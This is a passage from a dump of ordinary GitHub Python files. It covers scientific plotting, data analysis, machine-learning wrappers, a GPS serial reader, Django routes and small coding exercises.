75 it travels east\n3) If between >= 76 it travels west.\n\nFind the final coordinate of the vehicle, the total distance it has traveled, and the straight line distance between the \ninitial location and the final location.(use standard formula for distance between two coordinates; note that this distance \nis not same as total distance traveled).\"\"\"\n\n#CODE:\n#Taking repeated input until a \"negative\" or \"zero\" input is given. Also, calculating total distance at the same time.\nTotal_dis=0\nlist_dis_inputs=[]\nwhile True:\n Distance=int(input())\n if Distance>0:\n Total_dis+=Distance\n list_dis_inputs.append(Distance)\n elif Distance <=0:\n break\n\n#Defining intial Coordinates:-(Given in question)\nx_coord=5.0\ny_coord=5.0\n\n#Now, Defining function to calculate the final coordinates:-\ndef Final_coord (x_coord,y_coord,list_dis_inputs):\n No_input=len(list_dis_inputs)\n for i in range (No_input):\n if list_dis_inputs[i]<=25:\n y_coord+=list_dis_inputs[i]\n\n elif list_dis_inputs[i]>=26 and list_dis_inputs[i]<=50:\n y_coord-=list_dis_inputs[i]\n\n elif list_dis_inputs[i]>=51 and list_dis_inputs[i]<=75:\n x_coord+=list_dis_inputs[i]\n \n else:\n x_coord-=list_dis_inputs[i]\n\n return x_coord,y_coord\n\nFinal_coord1,Final_coord2=Final_coord (x_coord,y_coord,list_dis_inputs)\ndisplacement=((Final_coord1-5)**2+(Final_coord2-5)**2)**(1/2)\n\n#Printing DISTANCE,TOTAL DISTANCE,FINAL COORDINATES:-\nprint(\"Final coordinates of the vehicle:-\",Final_coord1,Final_coord2)\nprint(\"Total distance travelled:-\",Total_dis)\nprint(\"Straight line distance between the initial location and the final location:-\",displacement)","repo_name":"yogk2004/Python","sub_path":"Assignment 01/Problem_03.py","file_name":"Problem_03.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40102174646","text":"import pandas as pd\nimport numpy as np\n\ndf = pd.read_pickle('data/material.pickle').drop(columns = [\"Form\"])\nform_df = pd.read_pickle('data/material.pickle').set_index(\"Material\")[\"Form\"]\ndf1 = pd.read_pickle('data/material_properties.pickle')\ndf2 = pd.read_pickle('data/test_conditions.pickle')\n\ndf3 = pd.merge(df, df1, how = 'inner', left_on = 'id', right_on = 'material_id')\ndf3 = df3.drop(columns = [\"Fiber\", \"Resin\", \"MOT\", \"MaterialSpec\", \"ProcessSpec\", \"id_x\", \"id_y\", \"material_id\"])\n\n#mean normalization\nnormalize_columns = [\"Tg\", \"WetTg\", \"FAW\", \"F1tu\", \"F2tu\", \"E1t\", \"F1cu\", \"F2cu\", \"F12su\", \"F31sbs\", \"CPT\"]\nfor col in normalize_columns:\n df3[col] = (df3[col]-df3[col].mean())/df3[col].std()\n\ntemp_df = df3[[\"Material\", \"Tg\", \"WetTg\", \"FAW\"]].set_index(\"Material\").drop_duplicates()\ndf4 = df3.drop(columns = [\"Tg\", \"WetTg\", \"FAW\"]).pivot(index = \"Material\", columns = \"test_conditions_id\")\ndf5 = pd.merge(df4, temp_df, how = 'inner', left_on = 'Material', right_on = 'Material')\n\ndef similar_material(material):\n \"\"\"\n You may also be interested in 'X'\n 'X' is chosen based off of minimum Euclidean Distance (ED). \n \"\"\"\n global df5 \n df = df5\n df[\"Euclidean Distance\"] = np.nan\n\n # remove columns of df5 with empty values for 'material'\n df5 = df5[df5.loc[material].dropna().index]\n for index in df.index:\n # np.lingalg.norm calculates l2 norm/ED by default\n # default 'ord' is 2\n df[\"Euclidean Distance\"][index] = np.linalg.norm(df5.loc[material, :].values -\n # fill empty cells with zero\n df5.fillna(0).loc[index, :].values)\n \n \n # only recommend materials of the same 'form'\n global form_df\n final_df = pd.merge(df, form_df, how = 'inner', left_on = 'Material', right_on = 'Material')\n \n # sort df by ED and choose index\n # corresponding to min ED other that material\n similar_material = final_df.sort_values(by = [\"Euclidean Distance\"]).index[1]\n return similar_material\n\n#print(similar_material(\"6781 S-2/MTM45-1 8-harness satin weave fabric\"))","repo_name":"thomasmatt88/NCAMP-dashboard","sub_path":"ml/recommendation.py","file_name":"recommendation.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"71824663235","text":"import glob\nimport os\nimport sys\nimport time\nfrom multiprocessing import Pool\nfrom pathlib import Path\nimport psutil\n\nimport cv2\nimport matplotlib.animation as animation\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom matplotlib.lines import Line2D\nfrom tqdm import tqdm\nfrom ffprobe import FFProbe\n\n\ndef sizeof_fmt(num, suffix=\"B\"):\n for unit in (\"\", \"Ki\", \"Mi\", \"Gi\", \"Ti\", \"Pi\", \"Ei\", \"Zi\"):\n if abs(num) < 1024.0:\n return f\"{num:3.1f} {unit}{suffix}\"\n num /= 1024.0\n return f\"{num:.1f}Yi{suffix}\"\n\n\ndef ax_format_func(value, tick_number):\n # find number of multiples of pi/2\n N = int(np.round(2 * value / np.pi))\n if N == 0:\n return \"0\"\n elif N == 1:\n return r\"$\\pi/2$\"\n elif N == 2:\n return r\"$\\pi$\"\n elif N % 2 > 0:\n return r\"${0}\\pi/2$\".format(N)\n else:\n return r\"${0}\\pi$\".format(N // 2)\n\n\nclass MakeMovie(object):\n \"\"\"\n Class for making movies using matplotlib animation and multiprocessing via joblib\n :param output_path: string specifying path where movie will be saved\n :param output_filename: string specifying filename of movie (without extension)\n\n Child class needs to define the following three functions:\n -setup_figure: defines fig, fps and frames\n -init_func: init function used by matplotlib.animation\n -animate_func: animate function used by matplotlib.animation\n\n\n \"\"\"\n\n def __init__(\n self,\n output_path,\n output_filename,\n n_chunks=4,\n n_jobs=4,\n delete_chunks=True,\n overwrite_chunks=False,\n ):\n self.output_path = Path(output_path)\n if not self.output_path.exists():\n self.output_path.mkdir(parents=True)\n self.output_filename = output_filename\n\n self.n_chunks = n_chunks\n self.n_jobs = n_jobs\n self.delete_chunks = delete_chunks\n self.overwrite_chunks = overwrite_chunks\n\n # these vars need to be set by Child class\n self.fig = None\n self.fps = None\n self.frames = None\n\n def make_movie_parallel(self):\n # nb_stdout = sys.stdout\n # sys.stdout = open('/dev/stdout', 'w')\n t0 = time.time()\n # variable names are confusing, change\n frames_chunks = np.array_split(self.frames, self.n_chunks)\n # make_chunk = partial(\n # self.make_chunk,\n # )\n results = []\n with Pool(self.n_jobs) as p:\n # with tqdm(total=len(frames_chunks)) as pbar:\n for result in p.starmap(\n self.make_chunk,\n tqdm(enumerate(frames_chunks), total=len(frames_chunks)),\n chunksize=1,\n ):\n results.append(result)\n # pbar.update()\n\n # Parallel(n_jobs=self.n_jobs, verbose=0, backend=\"loky\")(\n # delayed(self.make_chunk)(chunk, frames)\n # for chunk, frames in enumerate(frames_chunks)\n # )\n\n self.stitch_chunks()\n t1 = time.time()\n print(\"total time: \" + str(t1 - t0))\n # sys.stdout = nb_stdout\n\n def make_movie(self):\n # non parallel implementation, use for profiling\n # nb_stdout = sys.stdout\n # sys.stdout = open('/dev/stdout', 'w')\n t0 = time.time()\n self.make_chunk(0, self.frames)\n t1 = time.time()\n print(\"total time: \" + str(t1 - t0))\n # sys.stdout = nb_stdout\n\n def make_chunk(self, chunk, frames):\n # progress bar printed in terminal, not working as expected\n # text = f\"chunk { chunk + 1:05}\"\n # self.pbar = tqdm(total=len(frames), position=chunk + 1, desc=text)\n if psutil.virtual_memory().percent > 90:\n raise MemoryError(\n f\"Memory usage ({psutil.virtual_memory().percent}) too high, exiting\"\n )\n\n # should check if self.fig,fps, animate_func and init_func are defined (they are all None by default)\n if self.fig is None:\n raise ValueError(\"self.fig is None, please define self.fig in child class\")\n if self.fps is None:\n raise ValueError(\"self.fps is None, please define self.fps in child class\")\n # if self.animate_func is None:\n # raise ValueError(\"self.animate_func is None, please define self.animate_func in child class\")\n # if self.init_func is None:\n # raise ValueError(\"self.init_func is None, please define self.init_func in child class\")\n output_file = self.output_path / (\n self.output_filename + f\"_chunk_{chunk + 1:05}\" + \".mp4\"\n )\n if not self.overwrite_chunks:\n if output_file.exists():\n if output_file.stat().st_size < 1000:\n if self.verbose:\n print(f\"chunk {chunk + 1:05} is empty, deleting\")\n output_file.unlink()\n else:\n if self.verbose:\n print(f\"chunk {chunk + 1:05} already exists, skipping\")\n return\n\n writer = animation.FFMpegWriter(\n fps=self.fps,\n metadata=dict(artist=\"Me\"),\n bitrate=1080,\n extra_args=[\n \"-vcodec\",\n \"libx264\",\n # '-preset', 'ultrafast',\n ],\n )\n\n ani = animation.FuncAnimation(\n self.fig, self.animate_func, frames=frames, cache_frame_data=False\n )\n\n ani.save(\n output_file,\n writer=writer,\n )\n # print(f'codeself: {sizeof_fmt(sys.getsizeof(self))}')\n # self.pbar.close()\n\n def stitch_chunks(self):\n # stitches all *.mp4 files with word chunk in output_path and saves with output_filename\n current_path = os.getcwd()\n os.chdir(self.output_path)\n\n # creates list of files to stitch\n text_file = open(\"list.txt\", \"w\")\n files_to_stitch = sorted(glob.glob(\"*chunk*.mp4\"))\n for file in files_to_stitch:\n metadata = FFProbe(file)\n if not metadata.streams:\n print(f\"file {file} is empty, skipping\")\n continue\n text_file.write(\"file '\" + file + \"'\\n\")\n text_file.close()\n # creates stitched movie\n os.system(\n \"ffmpeg -y -f concat -safe 0 -i list.txt -c copy \"\n + self.output_filename\n + \".mp4\"\n )\n # deletes chunked files and temporary list.txt\n if self.delete_chunks:\n for file in files_to_stitch:\n os.remove(file)\n os.remove(\"list.txt\")\n os.chdir(current_path)\n\n def setup_figure(self):\n pass\n\n def init_func(self):\n pass\n\n def animate_func(self, i):\n pass\n\n\nclass WheelMovie(MakeMovie):\n def __init__(\n self,\n wheel_data_file,\n movie_file,\n movie_timestamp_file,\n fly_name,\n plot_width,\n output_path,\n output_filename,\n fps=30,\n start_time=None,\n total_frames=None,\n # end_time=None, #broken\n zero_pos_frac=0.5,\n show_nth_frame=1,\n pos_ax_size=10,\n burn_frame_number=True,\n burn_timestamp=False,\n verbose=False,\n **kwargs,\n ):\n MakeMovie.__init__(self, output_path, output_filename, **kwargs)\n\n self.plot_width = pd.Timedelta(plot_width)\n self.pos_ax_size = pos_ax_size / 2\n self.zero_pos_frac = zero_pos_frac\n self.fig = plt.figure(constrained_layout=False, figsize=(15, 10), dpi=140)\n self.fps = fps\n self.burn_frame_number = burn_frame_number\n self.burn_timestamp = burn_timestamp\n self.verbose = verbose\n\n # load wheel data\n wheel_df = pd.read_csv(wheel_data_file)\n wheel_df.columns = wheel_df.columns.str.strip().str.replace(\" \", \"_\")\n wheel_df = wheel_df.filter(regex=\"timestamp|absolute_rotation_cam_[01]\")\n wheel_df.rename(\n columns={\n \"absolute_rotation_cam_0\": \"yaw\",\n \"absolute_rotation_cam_1\": \"roll\",\n },\n inplace=True,\n )\n wheel_df[\"time\"] = (\n pd.to_datetime(wheel_df[\"timestamp\"], unit=\"ns\")\n .dt.tz_localize(\"UTC\")\n .dt.tz_convert(\"US/Eastern\")\n )\n wheel_df.set_index(\"time\", inplace=True)\n\n self.wheel_df = wheel_df.sort_index()\n\n # load movie and timestamps\n self.movie_file = movie_file\n self.wheel_movie = None\n movie_timestamps = pd.read_csv(movie_timestamp_file)\n movie_timestamps.columns = movie_timestamps.columns.str.strip().str.replace(\n \" \", \"_\"\n )\n movie_timestamps[\"time\"] = (\n pd.to_datetime(movie_timestamps[\"timestamp\"], unit=\"ns\")\n .dt.tz_localize(\"UTC\")\n .dt.tz_convert(\"US/Eastern\")\n )\n\n movie_timestamps.set_index(\"time\", inplace=True)\n\n self.movie_timestamps = movie_timestamps.sort_index()\n self.start_time = start_time\n if self.start_time is None:\n self.start_time = self.movie_timestamps.index[0]\n\n self.exp_start_time = self.movie_timestamps.index[0]\n # self.movie_timestamps = movie_timestamps[:::skip_nth_frame]\n # if end_time is None:\n # end_time = self.movie_timestamps.index[-1]\n # # print(len(self.movie_timestamps))\n # self.movie_timestamps = self.movie_timestamps.loc[\n # : end_time - (self.plot_width * self.zero_pos_frac)\n # ]\n # print(len(self.movie_timestamps))\n self.frames = self.movie_timestamps.index[::show_nth_frame]\n # print(len(self.frames))\n if total_frames is not None:\n self.frames = self.frames[:total_frames]\n\n gsh, gsw = [100, 150]\n timeseries_height = 14\n timeseries_space = 1\n n_timeseries = 2\n mid_space = 5\n gs = self.fig.add_gridspec(gsh, gsw)\n\n timeseries_tops = (\n gsh\n - (np.arange(1, n_timeseries + 1) * timeseries_height)\n - np.arange(n_timeseries) * timeseries_space\n )\n timeseries_bottoms = timeseries_tops + timeseries_height\n\n self.image_ax = self.fig.add_subplot(gs[0 : timeseries_tops[-1] - 10, :])\n self.image_ax.set_xticks([])\n self.image_ax.set_yticks([])\n self.image_ax.set_title(fly_name)\n\n # Eye Axes\n self.yaw_ax = self.fig.add_subplot(\n gs[timeseries_tops[0] : timeseries_bottoms[0], :]\n )\n\n self.roll_ax = self.fig.add_subplot(\n gs[timeseries_tops[1] : timeseries_bottoms[1], :]\n )\n plt.setp(self.roll_ax.get_xticklabels(), visible=False)\n\n # position timeseries lines.\n self.roll_line = Line2D([0], [0], c=\"black\")\n self.yaw_line = Line2D([0], [0], c=\"black\")\n\n # set vertical marker lines, and add lines to axes.\n vlinekwargs = {\"color\": \"red\", \"linestyle\": \"--\"}\n self.vlines = []\n # self.time_ax_list = [self.roll_ax, self.yaw_ax]\n # self.time_line_list = [self.roll_line, self.yaw_line]\n\n for line, ax, var in zip(\n [self.roll_line, self.yaw_line],\n [self.roll_ax, self.yaw_ax],\n [\"roll\", \"yaw\"],\n ):\n ax.add_line(line)\n ax.set_xlim(0, self.plot_width.total_seconds())\n self.vlines.append(ax.axvline(x=0, **vlinekwargs))\n\n ax.set_ylim(-np.pi, np.pi)\n ax.set_ylabel(f\"{var} (rad)\")\n ax.yaxis.set_major_locator(plt.MultipleLocator(np.pi))\n ax.yaxis.set_major_formatter(plt.FuncFormatter(ax_format_func))\n despine(ax)\n # self.fig.suptitle(self.time.strftime(\"%b %d %H:%M:%S\"), size=\"xx-large\")\n # self.animate_func(self.start_time)\n\n if burn_frame_number or burn_timestamp:\n self.burned_text = self.fig.text(0.01, 0.98, \"\", ha=\"left\", va=\"top\")\n\n def animate_func(self, start_time):\n if self.wheel_movie is None:\n self.wheel_movie = cv2.VideoCapture(str(self.movie_file))\n self.start_time = start_time\n wheel_chunk = self.wheel_df.loc[\n self.start_time : self.start_time + self.plot_width\n ].copy()\n if len(wheel_chunk) < 2:\n return\n for var in [\"roll\", \"yaw\"]:\n wheel_chunk.loc[wheel_chunk[var].diff().abs() > np.pi, var] = np.nan\n\n self.current_time = self.start_time + self.plot_width * self.zero_pos_frac\n\n current_frame = self.get_movie_frame(self.current_time)\n if current_frame is not None:\n self.image_ax.imshow(current_frame)\n\n x_time = (wheel_chunk.index - self.exp_start_time).total_seconds()\n for line, ax, var in zip(\n [self.roll_line, self.yaw_line],\n [self.roll_ax, self.yaw_ax],\n [\"roll\", \"yaw\"],\n ):\n # line.set_data(wheel_chunk.index - self.current_time, wheel_chunk[var])\n\n line.set_data(x_time, wheel_chunk[var])\n ax.set_xlim(x_time[0], x_time[-1])\n\n for line in self.vlines:\n line.set_data(\n (self.current_time - self.exp_start_time).total_seconds(), [0, 1]\n )\n\n burned_text = \"\"\n if self.burn_frame_number:\n try:\n idx = self.movie_timestamps.index.get_indexer(\n [self.current_time], method=\"nearest\"\n )[0]\n except:\n if self.verbose:\n print(f\"failed to get index for timestamp {self.current_time}\")\n return\n burned_text += (\n f\"F: {self.movie_timestamps.iloc[idx].frame_id}\"\n f\" / {self.movie_timestamps.iloc[-1].frame_id}\\n\"\n f\"{(self.current_time - self.exp_start_time).total_seconds():.3f} s\\n\"\n )\n if self.burn_timestamp:\n burned_text += f\"{self.current_time.strftime('%b %d %H:%M:%S')}\"\n if self.burn_frame_number or self.burn_timestamp:\n self.burned_text.set_text(burned_text)\n # self.fig.suptitle(self.start_time.strftime(\"%b %d %H:%M:%S\"), size=\"xx-large\")\n\n # return (list(self.eye_x_lines.values()) + list(self.eye_pos_points.values()) +\n # + list(self.eye_pos_points.values()) + list(self.eye_hist_lines.values()) +\n # [self.forw_line, self.heading_line,\n # self.traj_pos, self.pos_point, self.pos_heading])\n\n def get_movie_frame(self, current_time):\n try:\n idx = self.movie_timestamps.index.get_indexer(\n [current_time], method=\"nearest\"\n )[0]\n except:\n if self.verbose:\n print(f\"failed to get index for timestamp {self.current_time}\")\n return\n frame_id = self.movie_timestamps.iloc[idx].frame_id\n self.wheel_movie.set(cv2.CAP_PROP_POS_FRAMES, frame_id)\n ret, frame = self.wheel_movie.read()\n if ret:\n return frame\n else:\n return None\n\n def frame_times(self, start_times=pd.DataFrame(), chunk_length=\"0s\"):\n times = []\n\n start_times = start_times.index\n chunk_length = pd.Timedelta(chunk_length)\n\n for start_time in start_times:\n time = start_time\n end_time = time + chunk_length\n\n while time < end_time:\n times.append(time)\n time += self.interval\n\n return times\n\n\n# def load_data_make_movie(data_folder):\n\n\ndef despine(ax: plt.Axes, bottom_left: bool = False):\n \"\"\"Removes spines (frame)from matplotlib Axes object.\n By default only removes the right and top spines, and removes\n all 4 if bottom_left=True\n\n Args:\n ax (plt.Axes): Axes object to despine\n bottom_left (bool, optional): If True, removes all 4 spines. Defaults to False.\n \"\"\"\n sides = [\"top\", \"right\"]\n if bottom_left:\n sides += [\"bottom\", \"left\"]\n for side in sides:\n ax.spines[side].set_visible(False)\n","repo_name":"jazzlw/two_axis_gap_wheel_analysis","sub_path":"wheel_movie.py","file_name":"wheel_movie.py","file_ext":"py","file_size_in_byte":16096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31963939977","text":"# 811. 子域名访问计数\nclass Solution(object):\n def subdomainVisits(self, cpdomains):\n dic = {}\n for i in cpdomains:\n num, domains = i.split()\n list_domain = domains.split(\".\")\n tmp = list_domain[-1]\n dic[tmp] = dic.get(tmp,0) + int(num)\n\n for j in range(len(list_domain)-2,-1,-1):\n tmp = list_domain[j] + \".\" + tmp\n dic[tmp] = dic.get(tmp, 0) + int(num)\n\n res = []\n for i in dic.keys():\n res.append(str(dic[i]) + \" \" + i)\n\n return res\n # for dom, n in dic.items():\n # res.append(str(n) + ' ' + dom)\n # return res\n\n","repo_name":"mrmenand/Py_transaction","sub_path":"LeetCode/hashtable/811.子域名访问计数.py","file_name":"811.子域名访问计数.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72886460993","text":"import numpy as np\nfrom sklearn.ensemble import (\n RandomForestRegressor,\n GradientBoostingRegressor,\n RandomForestClassifier,\n GradientBoostingClassifier,\n)\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVR, SVC\nfrom sklearn.tree import DecisionTreeRegressor, DecisionTreeClassifier\nfrom sklearn.neural_network import MLPClassifier, MLPRegressor\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV\n\n\nALGORITHMS = {\n \"Random Forest\": {\n \"regressor\": RandomForestRegressor,\n \"classifier\": RandomForestClassifier,\n },\n \"Support Vector Machine\": {\n \"regressor\": SVR,\n \"classifier\": SVC,\n },\n \"Gradient Boosting\": {\n \"regressor\": GradientBoostingRegressor,\n \"classifier\": GradientBoostingClassifier,\n },\n \"Decision Tree\": {\n \"regressor\": DecisionTreeRegressor,\n \"classifier\": DecisionTreeClassifier,\n },\n \"Multilayer Perceptron\": {\n \"regressor\": MLPRegressor,\n \"classifier\": MLPClassifier,\n },\n}\n\n\n# TODO: re-enable in .coveragerc when ready\nclass MachineLearning:\n \"\"\"Generic Machine Learning class based on scikit-learn\n\n Parameters\n ----------\n alg : str or scikit-learn predictor\n Built-in options include 'Random Forest', 'Support Vector Machine',\n 'Gradient Boosting', 'Decision Tree', 'Multilayer Perceptron'. Must\n also specify ``alg_type`` for built-in options. Alternatively,\n provide any other scikit-learn prediction class.\n alg_type : str, optional\n Required if ``alg`` is a string. either 'regressor' or 'classifier'\n **input_parameters : optional kwargs\n All other keyword arguments will be passed into the scikit-learn\n predictor object. Please refer to scikit-learn documentation.\n \"\"\"\n\n def __init__(\n self,\n X,\n y,\n alg,\n alg_type=\"regressor\",\n test_size=0.25,\n train_size=None,\n random_state=None,\n shuffle=True,\n **input_parameters\n ):\n self.X = X\n self.y = y\n self.alg_type = alg_type\n if isinstance(alg, str):\n if alg_type in [\"regressor\", \"classifier\"]:\n self.predictor_class = ALGORITHMS[alg_type]\n else:\n msg = \"'alg_type' must be either 'regressor' or 'classifier'\"\n raise NotImplementedError(msg)\n else:\n self.predictor_class = alg\n\n self.data_split_parameters = {\n \"test_size\": test_size,\n \"train_size\": train_size,\n \"random_state\": random_state,\n \"shuffle\": shuffle,\n }\n\n self.input_parameters = input_parameters\n\n self.model = self.predictor_class(**self.input_parameters)\n\n def __call__(self):\n \"\"\"Do training\n\n Returns\n -------\n PlotData\n A trained machine learning model\n \"\"\"\n return PlotData(\n self.X, self.y, self.model, **self.data_split_parameters\n )\n\n def grid_search_tuning(self, param_grid, **kwargs):\n \"\"\"Tune model parameters with a GridSearchCV\n\n Parameters\n ----------\n param_grid :\n \"\"\"\n search = GridSearchCV(self.model, param_grid, **kwargs)\n search.fit(self.X, self.y)\n return search\n\n def random_search_tuning(self, param_grid, n_iter=100, **kwargs):\n \"\"\"Tune model parameters with a RandomizedSearchCV\"\"\"\n search = RandomizedSearchCV(self.model, param_grid, n_iter, **kwargs)\n search.fit(self.X, self.y)\n return search\n\n\nclass PlotData:\n \"\"\"Perform training and get data for plotting\n\n Parameters\n ----------\n X : {array-like, sparse matrix} of shape (n_samples, n_features)\n The training input samples\n y : array-like of shape (n_samples,) or (n_samples, n_outputs)\n The target values\n model : scikit-learn predictor class object\n scikit-learn predictor class object\n \"\"\"\n\n def __init__(\n self,\n X,\n y,\n model,\n do_training=True,\n test_size=0.25,\n train_size=None,\n random_state=None,\n shuffle=True,\n ):\n self.model = model\n self.split_args = {\n \"test_size\": test_size,\n \"train_size\": train_size,\n \"random_state\": random_state,\n \"shuffle\": shuffle,\n }\n\n indices = list(range(len(y)))\n\n # split the data for training and testing\n split_data = train_test_split(X, indices, **self.split_args)\n self.X = {\"data\": X, \"train\": split_data[0], \"test\": split_data[1]}\n self.indices = {\n \"data\": indices,\n \"train\": split_data[2],\n \"test\": split_data[3],\n }\n self.y = {\n \"data\": y,\n \"train\": [y[i] for i in split_data[2]],\n \"test\": [y[i] for i in split_data[3]],\n }\n self.x = {\n key: [i + 1 for i in range(len(data))]\n for key, data in self.y.items()\n }\n\n # Train model, then calculate predictions, residuals, and mse\n if do_training:\n self.model.fit(self.X[\"train\"], self.y[\"train\"])\n self.predictions = {\n key: self.get_prediction(key) for key in self.y.keys()\n }\n self.residuals = {key: self.get_residual(key) for key in self.y.keys()}\n self.mse = {key: self.get_mse(key) for key in self.y.keys()}\n self.accuracy = {key: self.get_accuracy(key) for key in self.y.keys()}\n\n def get_prediction(self, key):\n \"\"\"Calculate predicted values\n\n Parameters\n ----------\n key : str\n Either 'train' or 'test'\n\n Returns\n -------\n np.ndarray of shape (n_samples,) or (n_samples, n_outputs)\n predictions\n \"\"\"\n return self.model.predict(self.X[key])\n\n def get_mse(self, key):\n \"\"\"Calculate mean square error (MSE)\n\n Parameters\n ----------\n key : str\n Either 'train' or 'test'\n\n Returns\n -------\n float\n Mean Square Error\n \"\"\"\n return np.mean(\n np.square(np.subtract(self.predictions[key], self.y[key]))\n )\n\n def get_residual(self, key):\n \"\"\"Calculate residuals (for regressions only)\n\n Parameters\n ----------\n key : str\n Either 'train' or 'test'\n\n Returns\n -------\n np.ndarray of shape (n_samples,) or (n_samples, n_outputs)\n y - prediction\n \"\"\"\n return np.subtract(self.y[key], self.model.predict(self.X[key]))\n\n def get_accuracy(self, key):\n \"\"\"Calculate accuracy (for classifiers only)\n\n Parameters\n ----------\n key : str\n Either 'train' or 'test'\n\n Returns\n -------\n float\n Correct prediction divided by length of y\n \"\"\"\n return np.count_nonzero(\n np.subtract(self.predictions[key], self.y[key]) == 0\n ) / len(self.y[key])\n\n @property\n def feature_importances(self):\n \"\"\"Get the feature importances (if available)\n\n Returns\n -------\n ndarray of shape (n_features,)\n Feature importances\n \"\"\"\n if hasattr(self.model, \"feature_importances_\"):\n return self.model.feature_importances_\n return None\n","repo_name":"cutright/DVHA-Stats","sub_path":"dvhastats/machine_learning.py","file_name":"machine_learning.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"1432179114","text":"#!/usr/bin/env python\n#\n# File: $Id$\n#\n\"\"\"\nJust connect to the XGPS160 and print out all the data we receive from it.\n\"\"\"\n# system imports\n#\nimport asyncio\n\nimport serial_asyncio\nfrom rich import print as rprint\n\n# 3rd party imports\n#\nfrom rich.traceback import install as install_tb\n\ninstall_tb(show_locals=True)\n\n\n########################################################################\n########################################################################\n#\nclass InputChunkProtocol(asyncio.Protocol):\n def connection_made(self, transport):\n rprint(\"[bold][green]Connected![/green][/bold]\")\n self.transport = transport\n\n def data_received(self, data):\n rprint(\"data received\", repr(data))\n\n # stop callbacks again immediately\n # self.pause_reading()\n\n def pause_reading(self):\n # This will stop the callbacks to data_received\n self.transport.pause_reading()\n\n def resume_reading(self):\n # This will start the callbacks to data_received again with all data\n # that has been received in the meantime.\n self.transport.resume_reading()\n\n\n########################################################################\n#\nasync def reader(loop):\n rprint(\"[blue]Connecting..[/blue]\")\n transport, protocol = await serial_asyncio.create_serial_connection(\n loop,\n InputChunkProtocol,\n \"/dev/tty.XGPS160-770173\",\n baudrate=115200,\n )\n rprint(\"[green]Entering reading loop.[/green]\")\n\n while True:\n await asyncio.sleep(0.3)\n # protocol.resume_reading()\n\n\n#############################################################################\n#\ndef main():\n loop = asyncio.get_event_loop()\n try:\n loop.run_until_complete(reader(loop))\n except KeyboardInterrupt:\n rprint(\"[red]Caught keyboard interrupt, exiting..[/red]\")\n finally:\n loop.close()\n\n\n############################################################################\n############################################################################\n#\n# Here is where it all starts\n#\nif __name__ == \"__main__\":\n main()\n#\n############################################################################\n############################################################################\n","repo_name":"scanner/xgps160_interface","sub_path":"asyncio_reading_experiment.py","file_name":"asyncio_reading_experiment.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36362662947","text":"from pathlib import Path\n\nfrom radhub import master_config\n\nbase_dir = Path(\"/Volumes/pw-data/radiomics-features/Meningioma-SEG-CLASS\")\nraw_data_dir = base_dir / \"raw\" / \"dicom\"\n\nconfig = master_config.Config(\n base_dir=base_dir,\n raw_data_dir=raw_data_dir,\n)\n\nEXCLUDED_ID = \"Meningioma-SEG-CLASS-094\"\n","repo_name":"pwoznicki/RadiomicsHub","sub_path":"radhub/Meningioma_SEG_CLASS/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"6039377016","text":"\"\"\"removed inventory relation with catalog\n\nRevision ID: 8a45c04b369a\nRevises: af82054b0298\nCreate Date: 2020-12-02 16:14:25.959047\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '8a45c04b369a'\ndown_revision = 'af82054b0298'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('product_inventory_ibfk_1', 'product_inventory', type_='foreignkey')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_foreign_key('product_inventory_ibfk_2', 'product_inventory', 'catalog', ['product_id'], ['product_id'])\n # ### end Alembic commands ###\n","repo_name":"rupesh-thakare/edlp","sub_path":"migrations/versions/8a45c04b369a_removed_inventory_relation_with_catalog.py","file_name":"8a45c04b369a_removed_inventory_relation_with_catalog.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24418062268","text":"from django.urls import path\nfrom .views import DisplayItemCreateAPIView,DisplayItemListAPIView,DisplayItemListByLabAPIView,DisplayRetrieveAPIView,DisplayItemUpdateAPIView,DisplayItemListByItemCategoryAPIView\n\nurlpatterns=[\n path('',DisplayItemListAPIView.as_view(), name='all-display-items'),\n path('',DisplayRetrieveAPIView.as_view(), name='single-display-item'),\n path('create/',DisplayItemCreateAPIView.as_view(), name='new-display-item'),\n path('update/', DisplayItemUpdateAPIView.as_view(),name='update-display-item'),\n path('of-item-category/', DisplayItemListByItemCategoryAPIView.as_view(), name='display-items-of-a-item-category'),\n path('of-lab/', DisplayItemListByLabAPIView.as_view(), name='display-items-of-a-lab'),\n]","repo_name":"UniLabsIMS/UniLabs-API","sub_path":"display_item/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35186672960","text":"import h5py as h5\nimport healpy as hp\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter\nimport numpy as np\nimport sys\nfrom scipy.stats import norm,gaussian_kde,uniform\nfrom scipy import histogram2d\nimport astropy.units as u\nimport astropy.coordinates as coord\nfrom .utils import log_spiral_radial_distribution2\n\nclass bash_colors:\n \"\"\"\n This class contains the necessary definitions to print to bash\n screen with colors. Sometimes it can be useful...\n \"\"\"\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = 